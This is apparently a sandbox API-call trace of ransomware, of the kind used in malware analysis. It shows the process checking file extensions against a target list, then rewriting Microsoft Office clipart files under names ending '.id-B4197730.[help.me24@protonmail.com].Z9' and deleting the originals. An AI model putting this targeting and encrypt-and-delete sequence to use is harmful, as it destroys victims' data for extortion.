	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.582] lstrlenW (lpString=".doc") returned 4
	[0087.582] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString=".docx") returned 5
	[0087.582] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0087.582] lstrlenW (lpString=".pdf") returned 4
	[0087.582] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString=".xls") returned 4
	[0087.582] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0087.582] lstrlenW (lpString=".xlsx") returned 5
	[0087.582] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0087.582] lstrlenW (lpString=".ppt") returned 4
	[0087.582] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0087.582] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.583] lstrlenW (lpString=".zip") returned 4
	[0087.583] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0087.583] lstrlenW (lpString=".rar") returned 4
	[0087.583] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString=".bz2") returned 4
	[0087.583] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString=".7z") returned 3
	[0087.583] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0087.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.583] lstrlenW (lpString=".dbf") returned 4
	[0087.583] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.583] lstrlenW (lpString=".1cd") returned 4
	[0087.583] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0087.583] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00224_.WMF") returned 68
	[0087.583] lstrlenW (lpString=".jpg") returned 4
	[0087.583] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0087.583] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0087.583] lstrlenW (lpString="BS00438_.WMF") returned 12
	[0087.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.561] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1212) returned 1
	[0088.561] CloseHandle (hObject=0x38c) returned 1
	[0088.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 0x220
	[0088.561] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.561] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.561] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.561] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.562] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0088.833] GetLastError () returned 0x0
	[0088.833] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x4bc, lpOverlapped=0x0) returned 1
	[0088.868] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0088.869] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.869] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.869] SetEndOfFile (hFile=0x388) returned 1
	[0088.870] CloseHandle (hObject=0x388) returned 1
	[0088.871] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.871] SetEndOfFile (hFile=0x38c) returned 1
	[0088.871] CloseHandle (hObject=0x38c) returned 1
	[0088.872] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.872] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00438_.wmf")) returned 1
	[0088.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.872] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.872] lstrlenW (lpString=".doc") returned 4
	[0088.872] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.872] lstrlenW (lpString=".docx") returned 5
	[0088.872] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.872] lstrlenW (lpString=".pdf") returned 4
	[0088.872] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.872] lstrlenW (lpString=".xls") returned 4
	[0088.872] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.873] lstrlenW (lpString=".xlsx") returned 5
	[0088.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.873] lstrlenW (lpString=".ppt") returned 4
	[0088.873] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.873] lstrlenW (lpString=".zip") returned 4
	[0088.873] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.873] lstrlenW (lpString=".rar") returned 4
	[0088.873] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString=".bz2") returned 4
	[0088.873] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString=".7z") returned 3
	[0088.873] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.873] lstrlenW (lpString=".dbf") returned 4
	[0088.873] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.873] lstrlenW (lpString=".1cd") returned 4
	[0088.873] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.873] lstrlenW (lpString=".jpg") returned 4
	[0088.873] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.873] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.873] lstrlenW (lpString=".doc") returned 4
	[0088.873] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString=".docx") returned 5
	[0088.873] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.873] lstrlenW (lpString=".pdf") returned 4
	[0088.873] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.873] lstrlenW (lpString=".xls") returned 4
	[0088.873] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.873] lstrlenW (lpString=".xlsx") returned 5
	[0088.873] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.873] lstrlenW (lpString=".ppt") returned 4
	[0088.874] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.874] lstrlenW (lpString=".zip") returned 4
	[0088.874] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.874] lstrlenW (lpString=".rar") returned 4
	[0088.874] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.874] lstrlenW (lpString=".bz2") returned 4
	[0088.874] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.874] lstrlenW (lpString=".7z") returned 3
	[0088.874] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.874] lstrlenW (lpString=".dbf") returned 4
	[0088.874] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.874] lstrlenW (lpString=".1cd") returned 4
	[0088.874] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00438_.WMF") returned 68
	[0088.874] lstrlenW (lpString=".jpg") returned 4
	[0088.874] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.874] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.874] lstrlenW (lpString="BS01603_.WMF") returned 12
	[0088.874] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.875] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=7176) returned 1
	[0088.875] CloseHandle (hObject=0x38c) returned 1
	[0088.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 0x220
	[0088.876] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.876] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0088.876] GetLastError () returned 0x0
	[0088.876] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x1c08, lpOverlapped=0x0) returned 1
	[0088.878] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x1c10, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x1c10, lpOverlapped=0x0) returned 1
	[0088.879] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.879] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.879] SetEndOfFile (hFile=0x388) returned 1
	[0088.879] CloseHandle (hObject=0x388) returned 1
	[0088.880] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.880] SetEndOfFile (hFile=0x38c) returned 1
	[0088.881] CloseHandle (hObject=0x38c) returned 1
	[0088.881] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.882] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01603_.wmf")) returned 1
	[0088.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.882] lstrlenW (lpString=".doc") returned 4
	[0088.882] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.882] lstrlenW (lpString=".docx") returned 5
	[0088.882] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.882] lstrlenW (lpString=".pdf") returned 4
	[0088.882] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.882] lstrlenW (lpString=".xls") returned 4
	[0088.882] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.882] lstrlenW (lpString=".xlsx") returned 5
	[0088.882] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.882] lstrlenW (lpString=".ppt") returned 4
	[0088.882] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.882] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.882] lstrlenW (lpString=".zip") returned 4
	[0088.882] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.882] lstrlenW (lpString=".rar") returned 4
	[0088.882] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.882] lstrlenW (lpString=".bz2") returned 4
	[0088.882] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.882] lstrlenW (lpString=".7z") returned 3
	[0088.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString=".dbf") returned 4
	[0088.883] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString=".1cd") returned 4
	[0088.883] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString=".jpg") returned 4
	[0088.883] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString=".doc") returned 4
	[0088.883] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString=".docx") returned 5
	[0088.883] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.883] lstrlenW (lpString=".pdf") returned 4
	[0088.883] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString=".xls") returned 4
	[0088.883] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.883] lstrlenW (lpString=".xlsx") returned 5
	[0088.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.883] lstrlenW (lpString=".ppt") returned 4
	[0088.883] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString=".zip") returned 4
	[0088.883] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.883] lstrlenW (lpString=".rar") returned 4
	[0088.883] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString=".bz2") returned 4
	[0088.883] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.883] lstrlenW (lpString=".7z") returned 3
	[0088.883] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.883] lstrlenW (lpString=".dbf") returned 4
	[0088.884] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.884] lstrlenW (lpString=".1cd") returned 4
	[0088.884] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01603_.WMF") returned 68
	[0088.884] lstrlenW (lpString=".jpg") returned 4
	[0088.884] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0088.884] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0088.884] lstrlenW (lpString="BS01634_.WMF") returned 12
	[0088.884] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.884] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=3494) returned 1
	[0088.884] CloseHandle (hObject=0x38c) returned 1
	[0088.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x220
	[0088.884] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0088.885] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.885] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0088.885] GetLastError () returned 0x0
	[0088.885] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xda6, lpOverlapped=0x0) returned 1
	[0088.887] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xdb0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xdb0, lpOverlapped=0x0) returned 1
	[0088.888] ReadFile (in: hFile=0x38c, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0088.888] WriteFile (in: hFile=0x388, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0088.888] SetEndOfFile (hFile=0x388) returned 1
	[0088.888] CloseHandle (hObject=0x388) returned 1
	[0088.889] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0088.889] SetEndOfFile (hFile=0x38c) returned 1
	[0088.890] CloseHandle (hObject=0x38c) returned 1
	[0088.890] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0088.890] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01634_.wmf")) returned 1
	[0088.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.890] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.890] lstrlenW (lpString=".doc") returned 4
	[0088.890] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0088.890] lstrlenW (lpString=".docx") returned 5
	[0088.890] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0088.890] lstrlenW (lpString=".pdf") returned 4
	[0088.890] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0088.890] lstrlenW (lpString=".xls") returned 4
	[0088.890] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0088.890] lstrlenW (lpString=".xlsx") returned 5
	[0088.890] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0088.890] lstrlenW (lpString=".ppt") returned 4
	[0088.890] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString=".zip") returned 4
	[0088.891] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0088.891] lstrlenW (lpString=".rar") returned 4
	[0088.891] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString=".bz2") returned 4
	[0088.891] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString=".7z") returned 3
	[0088.891] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString=".dbf") returned 4
	[0088.891] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString=".1cd") returned 4
	[0088.891] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0088.891] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01634_.WMF") returned 68
	[0088.891] lstrlenW (lpString=".jpg") returned 4
	[0088.891] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
